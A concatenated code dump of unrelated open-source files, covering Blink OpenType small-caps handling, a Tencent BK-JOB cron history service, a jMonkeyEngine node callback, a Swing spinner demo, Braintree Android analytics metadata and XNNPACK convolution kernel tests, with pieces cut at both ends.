CapsSynthesis::kBothToSmallCaps)) { return true; } } return false; } CaseMapIntend OpenTypeCapsSupport::NeedsCaseChange( SmallCapsIterator::SmallCapsBehavior run_case) { CaseMapIntend case_map_intend = CaseMapIntend::kKeepSameCase; if (font_support_ == FontSupport::kFull || !SyntheticSmallCapsAllowed()) return case_map_intend; switch (run_case) { case SmallCapsIterator::kSmallCapsSameCase: case_map_intend = font_support_ == FontSupport::kFallback && (caps_synthesis_ == CapsSynthesis::kBothToSmallCaps || caps_synthesis_ == CapsSynthesis::kUpperToSmallCaps) ? CaseMapIntend::kLowerCase : CaseMapIntend::kKeepSameCase; break; case SmallCapsIterator::kSmallCapsUppercaseNeeded: case_map_intend = font_support_ != FontSupport::kFallback && (caps_synthesis_ == CapsSynthesis::kLowerToSmallCaps || caps_synthesis_ == CapsSynthesis::kBothToSmallCaps) ? CaseMapIntend::kUpperCase : CaseMapIntend::kKeepSameCase; break; default: break; } return case_map_intend; } OpenTypeCapsSupport::FontFormat OpenTypeCapsSupport::GetFontFormat() const { if (font_format_ == FontFormat::kUndetermined) { hb_face_t* hb_face = hb_font_get_face(harfbuzz_face_->GetScaledFont( nullptr, HarfBuzzFace::kNoVerticalLayout)); HbScoped<hb_blob_t> morx_blob( hb_face_reference_table(hb_face, HB_TAG('m', 'o', 'r', 'x'))); HbScoped<hb_blob_t> mort_blob( hb_face_reference_table(hb_face, HB_TAG('m', 'o', 'r', 't'))); // TODO(crbug.com/911149): Use hb_aat_layout_has_substitution() for // has_morx_or_mort and hb_ot_layout_has_substitution() for has_gsub once is // exposed in HarfBuzz. bool has_morx_or_mort = hb_blob_get_length(morx_blob.get()) || hb_blob_get_length(mort_blob.get()); bool has_gsub = hb_ot_layout_has_substitution(hb_face); font_format_ = has_morx_or_mort && !has_gsub ? FontFormat::kAat : FontFormat::kOpenType; } return font_format_; } bool OpenTypeCapsSupport::SupportsFeature(hb_script_t script, uint32_t tag) const { if (GetFontFormat() == FontFormat::kAat) return SupportsAatFeature(tag); return SupportsOpenTypeFeature(script, tag); } bool OpenTypeCapsSupport::SupportsAatFeature(uint32_t tag) const { // We only want to detect small-caps and capitals-to-small-capitals features // for aat-fonts, any other requests are returned as not supported. if (tag != HB_TAG('s', 'm', 'c', 'p') && tag != HB_TAG('c', '2', 's', 'c')) { return false; } hb_face_t* hb_face = hb_font_get_face( harfbuzz_face_->GetScaledFont(nullptr, HarfBuzzFace::kNoVerticalLayout)); Vector<hb_aat_layout_feature_type_t> aat_features; unsigned feature_count = hb_aat_layout_get_feature_types(hb_face, 0, nullptr, nullptr); aat_features.resize(feature_count); if (!hb_aat_layout_get_feature_types(hb_face, 0, &feature_count, aat_features.data())) return false; if (tag == HB_TAG('s', 'm', 'c', 'p')) { // Check for presence of new style (feature id 38) or old style (letter // case, feature id 3) small caps feature presence, then check for the // specific required activation selectors. if (!aat_features.Contains(HB_AAT_LAYOUT_FEATURE_TYPE_LETTER_CASE) && !aat_features.Contains(HB_AAT_LAYOUT_FEATURE_TYPE_LOWER_CASE)) return false; // Check for new style small caps, feature id 38. if (aat_features.Contains(HB_AAT_LAYOUT_FEATURE_TYPE_LOWER_CASE)) { if (activationSelectorPresent( hb_face, HB_AAT_LAYOUT_FEATURE_TYPE_LOWER_CASE, HB_AAT_LAYOUT_FEATURE_SELECTOR_LOWER_CASE_SMALL_CAPS)) return true; } // Check for old style small caps enabling selector, feature id 3. if (aat_features.Contains(HB_AAT_LAYOUT_FEATURE_TYPE_LETTER_CASE)) { if (activationSelectorPresent(hb_face, HB_AAT_LAYOUT_FEATURE_TYPE_LETTER_CASE, HB_AAT_LAYOUT_FEATURE_SELECTOR_SMALL_CAPS)) return true; } // Neither old or new style small caps present. return false; } if (tag == HB_TAG('c', '2', 's', 'c')) { if (!aat_features.Contains(HB_AAT_LAYOUT_FEATURE_TYPE_UPPER_CASE)) return false; return activationSelectorPresent( hb_face, HB_AAT_LAYOUT_FEATURE_TYPE_UPPER_CASE, HB_AAT_LAYOUT_FEATURE_SELECTOR_UPPER_CASE_SMALL_CAPS); } return false; } void OpenTypeCapsSupport::DetermineFontSupport(hb_script_t script) { switch (requested_caps_) { case FontDescription::kSmallCaps: if (!SupportsFeature(script, HB_TAG('s', 'm', 'c', 'p'))) { font_support_ = FontSupport::kNone; caps_synthesis_ = CapsSynthesis::kLowerToSmallCaps; } break; case FontDescription::kAllSmallCaps: if (!(SupportsFeature(script, HB_TAG('s', 'm', 'c', 'p')) && SupportsFeature(script, HB_TAG('c', '2', 's', 'c')))) { font_support_ = FontSupport::kNone; caps_synthesis_ = CapsSynthesis::kBothToSmallCaps; } break; case FontDescription::kPetiteCaps: if (!SupportsFeature(script, HB_TAG('p', 'c', 'a', 'p'))) { if (SupportsFeature(script, HB_TAG('s', 'm', 'c', 'p'))) { font_support_ = FontSupport::kFallback; } else { font_support_ = FontSupport::kNone; caps_synthesis_ = CapsSynthesis::kLowerToSmallCaps; } } break; case FontDescription::kAllPetiteCaps: if (!(SupportsFeature(script, HB_TAG('p', 'c', 'a', 'p')) && SupportsFeature(script, HB_TAG('c', '2', 'p', 'c')))) { if (SupportsFeature(script, HB_TAG('s', 'm', 'c', 'p')) && SupportsFeature(script, HB_TAG('c', '2', 's', 'c'))) { font_support_ = FontSupport::kFallback; } else { font_support_ = FontSupport::kNone; caps_synthesis_ = CapsSynthesis::kBothToSmallCaps; } } break; case FontDescription::kUnicase: if (!SupportsFeature(script, HB_TAG('u', 'n', 'i', 'c'))) { caps_synthesis_ = CapsSynthesis::kUpperToSmallCaps; if (SupportsFeature(script, HB_TAG('s', 'm', 'c', 'p'))) { font_support_ = FontSupport::kFallback; } else { font_support_ = FontSupport::kNone; } } break; case FontDescription::kTitlingCaps: if (!SupportsFeature(script, HB_TAG('t', 'i', 't', 'l'))) { font_support_ = FontSupport::kNone; } break; default: NOTREACHED(); } } bool OpenTypeCapsSupport::SyntheticSmallCapsAllowed() const { return font_synthesis_small_caps_ == FontDescription::kAutoFontSynthesisSmallCaps; } } // namespace blink
4,699
578
/* * Tencent is pleased to support the open source community by making BK-JOB蓝鲸智云作业平台 available. * * Copyright (C) 2021 THL A29 Limited, a Tencent company. All rights reserved. * * BK-JOB蓝鲸智云作业平台 is licensed under the MIT License. * * License for BK-JOB蓝鲸智云作业平台: * -------------------------------------------------------------------- * Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated * documentation files (the "Software"), to deal in the Software without restriction, including without limitation * the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and * to permit persons to whom the Software is furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all copies or substantial portions of * the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO * THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF * CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS * IN THE SOFTWARE. */ package com.tencent.bk.job.crontab.service.impl; import com.tencent.bk.job.crontab.constant.ExecuteStatusEnum; import com.tencent.bk.job.crontab.dao.InnerCronJobHistoryDAO; import com.tencent.bk.job.crontab.model.dto.InnerCronJobHistoryDTO; import com.tencent.bk.job.crontab.service.InnerJobHistoryService; import lombok.extern.slf4j.Slf4j; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Component; /** * @since 21/2/2020 22:27 */ @Slf4j @Component public class InnerJobHistoryServiceImpl implements InnerJobHistoryService { private InnerCronJobHistoryDAO innerCronJobHistoryDAO; @Autowired public InnerJobHistoryServiceImpl(InnerCronJobHistoryDAO innerCronJobHistoryDAO) { this.innerCronJobHistoryDAO = innerCronJobHistoryDAO; } @Override public long insertHistory(String systemId, String jobKey, long scheduledFireTime) { return innerCronJobHistoryDAO.insertCronJobHistory(systemId, jobKey, scheduledFireTime); } @Override public InnerCronJobHistoryDTO getHistoryByIdAndTime(String systemId, String jobKey, long scheduledFireTime) { return innerCronJobHistoryDAO.getCronJobHistory(systemId, jobKey, scheduledFireTime); } @Override public boolean updateStatusByIdAndTime(String systemId, String jobKey, long scheduledFireTime, ExecuteStatusEnum status) { return innerCronJobHistoryDAO.updateStatusByIdAndTime(systemId, jobKey, scheduledFireTime, status.getValue()); } @Override public int cleanHistory(long cleanBefore, boolean cleanAll) { return innerCronJobHistoryDAO.cleanHistory(cleanBefore, cleanAll); } }
1,030
466
{ "extends": "./node_modules/mwts/", "ignorePatterns": ["node_modules", "dist", "fixtures"], "env": { "mocha": true } }
59
320
<reponame>2757571500/sdk<filename>jme3-scenecomposer/src/com/jme3/gde/scenecomposer/gizmo/NodeCallback.java /* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ package com.jme3.gde.scenecomposer.gizmo; import com.jme3.math.Matrix3f; import com.jme3.math.Quaternion; import com.jme3.math.Transform; import com.jme3.math.Vector3f; import com.jme3.scene.Node; import com.jme3.scene.Spatial; /** * This Class allows "hooking" transformation events of a Node. * As such it is used to update gizmos and others to react to * Property Panel Input. * * @author dokthar */ public abstract class NodeCallback extends Node { private final boolean applyTranslation; private final boolean applyRotation; private final boolean applyScale; public NodeCallback(String name) { this(name, true, true, true); } public NodeCallback(String name, boolean applyTranslation, boolean applyRotation, boolean applyScale) { super(name); this.applyTranslation = applyTranslation; this.applyRotation = applyRotation; this.applyScale = applyScale; } @Override public void setLocalRotation(Matrix3f rotation) { onRotation(getLocalRotation(), new Quaternion().fromRotationMatrix(rotation)); if (applyRotation) { super.setLocalRotation(rotation); } } @Override public void setLocalRotation(Quaternion quaternion) { onRotation(getLocalRotation(), quaternion); if (applyRotation) { super.setLocalRotation(quaternion); } } @Override public void setLocalScale(Vector3f localScale) { onResize(getLocalScale(), localScale); if (applyScale) { super.setLocalScale(localScale); } } @Override public void setLocalScale(float localScale) { onResize(getLocalScale(), new Vector3f(localScale, localScale, localScale)); if (applyScale) { super.setLocalScale(localScale); } } @Override public void setLocalScale(float x, float y, float z) { onResize(getLocalScale(), new Vector3f(x, y, z)); if (applyScale) { super.setLocalScale(x, y, z); } } @Override public void setLocalTransform(Transform t) { onTranslation(getLocalTranslation(), t.getTranslation()); onRotation(getLocalRotation(), t.getRotation()); onResize(getLocalScale(), t.getScale()); if (applyRotation || applyScale || applyTranslation) { super.setLocalTransform(t); } } @Override public void setLocalTranslation(Vector3f localTranslation) { onTranslation(getLocalTranslation(), localTranslation); if (applyTranslation) { super.setLocalTranslation(localTranslation); } } @Override public void setLocalTranslation(float x, float y, float z) { onTranslation(getLocalTranslation(), new Vector3f(x, y, z)); if (applyTranslation) { super.setLocalTranslation(x, y, z); } } @Override public Spatial move(Vector3f offset) { onTranslation(getLocalTranslation(), getLocalTranslation().add(offset)); if (applyTranslation) { super.move(offset); } return this; } @Override public Spatial move(float x, float y, float z) { onTranslation(getLocalTranslation(), getLocalTranslation().add(x, y, z)); if (applyTranslation) { super.move(x, y, z); } return this; } @Override public Spatial rotate(Quaternion rot) { onRotation(getLocalRotation(), getLocalRotation().mult(rot)); if (applyRotation) { super.rotate(rot); } return this; } @Override public Spatial scale(float s) { onResize(getLocalScale(), getLocalScale().mult(s)); if (applyScale) { super.scale(s); } return this; } @Override public Spatial scale(float x, float y, float z) { onResize(getLocalScale(), getLocalScale().mult(new Vector3f(x, y, z))); if (applyScale) { super.scale(x, y, z); } return this; } public void silentLocalTranslation(Vector3f translation) { super.setLocalTranslation(translation); } public void silentLocalRotation(Quaternion rotation) { super.setLocalRotation(rotation); } public void silentLocalScale(Vector3f scale) { super.setLocalScale(scale); } public abstract void onTranslation(Vector3f oldTranslation, Vector3f newTranslation); public abstract void onResize(Vector3f oldScale, Vector3f newScale); public abstract void onRotation(Quaternion oldRotation, Quaternion newRotation); }
1,976
388
<reponame>OctaviantoVyan/jwswing // -*- mode:java; encoding:utf-8 -*- // vim:set fileencoding=utf-8: // @homepage@ package example; import java.awt.*; import java.text.SimpleDateFormat; import java.util.Calendar; import java.util.Date; import java.util.Locale; import javax.swing.*; import javax.swing.text.DateFormatter; import javax.swing.text.DefaultFormatterFactory; public final class MainPanel extends JPanel { private MainPanel() { super(new GridLayout(2, 1)); Calendar c = Calendar.getInstance(); // c.clear(Calendar.HOUR_OF_DAY); // c.clear(Calendar.AM_PM); // c.clear(Calendar.HOUR); c.set(Calendar.HOUR_OF_DAY, 0); c.clear(Calendar.MINUTE); c.clear(Calendar.SECOND); c.clear(Calendar.MILLISECOND); Date d = c.getTime(); SimpleDateFormat format = new SimpleDateFormat("mm:ss", Locale.getDefault()); DefaultFormatterFactory factory = new DefaultFormatterFactory(new DateFormatter(format)); JSpinner spinner1 = new JSpinner(new SpinnerDateModel(d, null, null, Calendar.SECOND)); ((JSpinner.DefaultEditor) spinner1.getEditor()).getTextField().setFormatterFactory(factory); JSpinner spinner2 = new JSpinner(new SpinnerDateModel(d, null, null, Calendar.SECOND) { @Override public void setCalendarField(int calendarField) { // https://docs.oracle.com/javase/8/docs/api/javax/swing/SpinnerDateModel.html#setCalendarField-int- // If you only want one field to spin you can subclass and ignore the setCalendarField calls. } }); ((JSpinner.DefaultEditor) spinner2.getEditor()).getTextField().setFormatterFactory(factory); add(makeTitledPanel("Default SpinnerDateModel", spinner1)); add(makeTitledPanel("Override SpinnerDateModel#setCalendarField(...)", spinner2)); setBorder(BorderFactory.createEmptyBorder(10, 5, 10, 5)); setPreferredSize(new Dimension(320, 240)); } private static Component makeTitledPanel(String title, Component cmp) { JPanel p = new JPanel(new GridBagLayout()); p.setBorder(BorderFactory.createTitledBorder(title)); GridBagConstraints c = new GridBagConstraints(); c.weightx = 1d; c.fill = GridBagConstraints.HORIZONTAL; c.insets = new Insets(5, 5, 5, 5); p.add(cmp, c); return p; } public static void main(String[] args) { EventQueue.invokeLater(MainPanel::createAndShowGui); } private static void createAndShowGui() { try { UIManager.setLookAndFeel(UIManager.getSystemLookAndFeelClassName()); } catch (ClassNotFoundException | InstantiationException | IllegalAccessException | UnsupportedLookAndFeelException ex) { ex.printStackTrace(); Toolkit.getDefaultToolkit().beep(); } JFrame frame = new JFrame("@title@"); frame.setDefaultCloseOperation(WindowConstants.EXIT_ON_CLOSE); frame.getContentPane().add(new MainPanel()); frame.pack(); frame.setLocationRelativeTo(null); frame.setVisible(true); } }
1,078
406
package com.braintreepayments.api; import android.content.Context; import android.content.pm.PackageManager.NameNotFoundException; import android.content.res.Configuration; import android.net.ConnectivityManager; import android.net.NetworkInfo; import androidx.annotation.VisibleForTesting; import org.json.JSONException; import org.json.JSONObject; import static android.content.res.Configuration.ORIENTATION_UNDEFINED; class AnalyticsEvent { private static final String SESSION_ID_KEY = "sessionId"; private static final String DEVICE_NETWORK_TYPE_KEY = "deviceNetworkType"; private static final String USER_INTERFACE_ORIENTATION_KEY = "userInterfaceOrientation"; private static final String MERCHANT_APP_VERSION_KEY = "merchantAppVersion"; private static final String PAYPAL_INSTALLED_KEY = "paypalInstalled"; private static final String VENMO_INSTALLED_KEY = "venmoInstalled"; private static final String INTEGRATION_TYPE_KEY = "integrationType"; private static final String DROP_IN_VERSION_KEY = "dropinVersion"; int id; String event; long timestamp; JSONObject metadata = new JSONObject(); DeviceInspector deviceInspector; ClassHelper classHelper; AnalyticsEvent() {} AnalyticsEvent(Context context, String sessionId, String integration, String event) { this(context, sessionId, integration, event, new DeviceInspector(), new ClassHelper()); } @VisibleForTesting AnalyticsEvent(Context context, String sessionId, String integration, String event, DeviceInspector deviceInspector, ClassHelper classHelper) { this.event = "android." + event; this.timestamp = System.currentTimeMillis(); this.deviceInspector = deviceInspector; this.classHelper = classHelper; try { metadata.put(SESSION_ID_KEY, sessionId) .put(INTEGRATION_TYPE_KEY, integration) .put(DEVICE_NETWORK_TYPE_KEY, getNetworkType(context)) .put(USER_INTERFACE_ORIENTATION_KEY, getUserOrientation(context)) .put(MERCHANT_APP_VERSION_KEY, getAppVersion(context)) .put(PAYPAL_INSTALLED_KEY, isPayPalInstalled(context)) .put(VENMO_INSTALLED_KEY, isVenmoInstalled(context)) .put(DROP_IN_VERSION_KEY, getDropInVersion()); } catch (JSONException ignored) {} } private String getNetworkType(Context context) { String networkType = null; if (context != null) { ConnectivityManager connectivityManager = (ConnectivityManager) context.getSystemService(Context.CONNECTIVITY_SERVICE); NetworkInfo networkInfo = connectivityManager.getActiveNetworkInfo(); if (networkInfo != null) { networkType = networkInfo.getTypeName(); } if (networkType == null) { networkType = "none"; } } return networkType; } private String getUserOrientation(Context context) { int orientation = ORIENTATION_UNDEFINED; if (context != null) { orientation = context.getResources().getConfiguration().orientation; } switch (orientation) { case Configuration.ORIENTATION_PORTRAIT: return "Portrait"; case Configuration.ORIENTATION_LANDSCAPE: return "Landscape"; default: return "Unknown"; } } private String getAppVersion(Context context) { String result = "VersionUnknown"; if (context != null) { try { result = context.getPackageManager().getPackageInfo(context.getPackageName(), 0).versionName; } catch (NameNotFoundException ignored) { /* do nothing */ } } return result; } private boolean isPayPalInstalled(Context context) { return deviceInspector.isPayPalInstalled(context); } private boolean isVenmoInstalled(Context context) { return deviceInspector.isVenmoInstalled(context); } /** * Gets the current Drop-in version or null. * * @return string representation of the current Drop-in version, or null if * Drop-in is unavailable */ private String getDropInVersion() { return classHelper.getFieldValue( "com.braintreepayments.api.dropin.BuildConfig", "VERSION_NAME" ); } }
1,779
1,125
<reponame>peterjc123/XNNPACK // Copyright 2019 Google LLC // // This source code is licensed under the BSD-style license found in the // LICENSE file in the root directory of this source tree. #include <gtest/gtest.h> #include <xnnpack/common.h> #include <xnnpack/isa-checks.h> #include <xnnpack/conv.h> #include "conv-hwc-microkernel-tester.h" #if XNN_ARCH_ARM || XNN_ARCH_ARM64 TEST(F32_CONV_3X3S2P1C3X8__NEON_2X2, input_width_eq_4) { TEST_REQUIRES_ARM_NEON; ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(8) .output_channels(8) .input_width(4) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x8__neon_2x2); } TEST(F32_CONV_3X3S2P1C3X8__NEON_2X2, input_width_div_4) { TEST_REQUIRES_ARM_NEON; for (size_t input_width = 8; input_width <= 32; input_width += 12) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(8) .output_channels(8) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x8__neon_2x2); } } TEST(F32_CONV_3X3S2P1C3X8__NEON_2X2, input_width_lt_4) { TEST_REQUIRES_ARM_NEON; for (size_t input_width = 1; input_width < 4; input_width++) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(8) .output_channels(8) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x8__neon_2x2); } } TEST(F32_CONV_3X3S2P1C3X8__NEON_2X2, input_width_gt_4) { TEST_REQUIRES_ARM_NEON; for (size_t input_width = 5; input_width < 8; input_width++) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(8) .output_channels(8) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x8__neon_2x2); } } TEST(F32_CONV_3X3S2P1C3X8__NEON_2X2, output_channels_lt_8) { TEST_REQUIRES_ARM_NEON; for (size_t output_channels = 1; output_channels < 8; output_channels++) { for (size_t input_width = 1; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x8__neon_2x2); } } } TEST(F32_CONV_3X3S2P1C3X8__NEON_2X2, output_channels_div_8) { TEST_REQUIRES_ARM_NEON; for (size_t output_channels = 16; output_channels <= 32; output_channels += 8) { for (size_t input_width = 1; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x8__neon_2x2); } } } TEST(F32_CONV_3X3S2P1C3X8__NEON_2X2, output_channels_gt_8) { TEST_REQUIRES_ARM_NEON; for (size_t output_channels = 9; output_channels < 16; output_channels++) { for (size_t input_width = 1; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x8__neon_2x2); } } } TEST(F32_CONV_3X3S2P1C3X8__NEON_2X2, input_height_lt_3) { TEST_REQUIRES_ARM_NEON; for (size_t input_height = 1; input_height < 3; input_height++) { for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 1; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding(1) // padded input height of at least 3 required .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(input_height) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x8__neon_2x2); } } } } TEST(F32_CONV_3X3S2P1C3X8__NEON_2X2, input_height_gt_3) { TEST_REQUIRES_ARM_NEON; for (size_t input_height = 4; input_height <= 9; input_height++) { for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 1; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(input_height) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x8__neon_2x2); } } } } TEST(F32_CONV_3X3S2P1C3X8__NEON_2X2, padding_top) { TEST_REQUIRES_ARM_NEON; for (size_t padding_top = 0; padding_top <= 1; padding_top++) { for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 1; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .padding_top(padding_top) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(9) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x8__neon_2x2); } } } } TEST(F32_CONV_3X3S2P1C3X8__NEON_2X2, padding_bottom) { TEST_REQUIRES_ARM_NEON; for (size_t padding_bottom = 0; padding_bottom <= 1; padding_bottom++) { for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 1; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .padding_bottom(padding_bottom) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(9) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x8__neon_2x2); } } } } TEST(F32_CONV_3X3S2P1C3X8__NEON_2X2, output_y_start) { TEST_REQUIRES_ARM_NEON; for (size_t output_y_start = 1; output_y_start <= 3; output_y_start++) { for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 1; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(9) .output_y_start(output_y_start) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x8__neon_2x2); } } } } TEST(F32_CONV_3X3S2P1C3X8__NEON_2X2, output_y_end) { TEST_REQUIRES_ARM_NEON; for (size_t output_y_end = 2; output_y_end < 5; output_y_end++) { for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 1; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(9) .output_y_end(output_y_end) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x8__neon_2x2); } } } } TEST(F32_CONV_3X3S2P1C3X8__NEON_2X2, qmin) { TEST_REQUIRES_ARM_NEON; for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 1; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(6) .qmin(128) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x8__neon_2x2); } } } TEST(F32_CONV_3X3S2P1C3X8__NEON_2X2, qmax) { TEST_REQUIRES_ARM_NEON; for (size_t output_channels = 1; output_channels < 16; output_channels += 7) { for (size_t input_width = 1; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(8) .output_channels(output_channels) .input_width(input_width) .input_height(6) .qmax(128) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x8__neon_2x2); } } } #endif // XNN_ARCH_ARM || XNN_ARCH_ARM64 #if XNN_ARCH_ARM || XNN_ARCH_ARM64 TEST(F32_CONV_3X3S2P1C3X4__NEON_2X2, input_width_eq_4) { TEST_REQUIRES_ARM_NEON; ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(4) .output_channels(4) .input_width(4) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__neon_2x2); } TEST(F32_CONV_3X3S2P1C3X4__NEON_2X2, input_width_div_4) { TEST_REQUIRES_ARM_NEON; for (size_t input_width = 8; input_width <= 32; input_width += 12) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(4) .output_channels(4) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__neon_2x2); } } TEST(F32_CONV_3X3S2P1C3X4__NEON_2X2, input_width_lt_4) { TEST_REQUIRES_ARM_NEON; for (size_t input_width = 1; input_width < 4; input_width++) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(4) .output_channels(4) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__neon_2x2); } } TEST(F32_CONV_3X3S2P1C3X4__NEON_2X2, input_width_gt_4) { TEST_REQUIRES_ARM_NEON; for (size_t input_width = 5; input_width < 8; input_width++) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(4) .output_channels(4) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__neon_2x2); } } TEST(F32_CONV_3X3S2P1C3X4__NEON_2X2, output_channels_lt_4) { TEST_REQUIRES_ARM_NEON; for (size_t output_channels = 1; output_channels < 4; output_channels++) { for (size_t input_width = 1; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__neon_2x2); } } } TEST(F32_CONV_3X3S2P1C3X4__NEON_2X2, output_channels_div_4) { TEST_REQUIRES_ARM_NEON; for (size_t output_channels = 8; output_channels <= 16; output_channels += 4) { for (size_t input_width = 1; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__neon_2x2); } } } TEST(F32_CONV_3X3S2P1C3X4__NEON_2X2, output_channels_gt_4) { TEST_REQUIRES_ARM_NEON; for (size_t output_channels = 5; output_channels < 8; output_channels++) { for (size_t input_width = 1; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(3) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__neon_2x2); } } } TEST(F32_CONV_3X3S2P1C3X4__NEON_2X2, input_height_lt_3) { TEST_REQUIRES_ARM_NEON; for (size_t input_height = 1; input_height < 3; input_height++) { for (size_t output_channels = 1; output_channels < 8; output_channels += 3) { for (size_t input_width = 1; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding(1) .input_channels(3) // padded input height of at least 3 required .output_channels_tile(4) .output_channels(output_channels) .input_width(input_width) .input_height(input_height) .Test(xnn_f32_conv_hwc_ukernel_3x3s2p1c3x4__neon_2x2); } } } } TEST(F32_CONV_3X3S2P1C3X4__NEON_2X2, input_height_gt_3) { TEST_REQUIRES_ARM_NEON; for (size_t input_height = 4; input_height <= 9; input_height++) { for (size_t output_channels = 1; output_channels < 8; output_channels += 3) { for (size_t input_width = 1; input_width < 32; input_width += 7) { ConvHWCMicrokernelTester() .kernel_size(3) .subsampling(2) .padding_width(1) .input_channels(3) 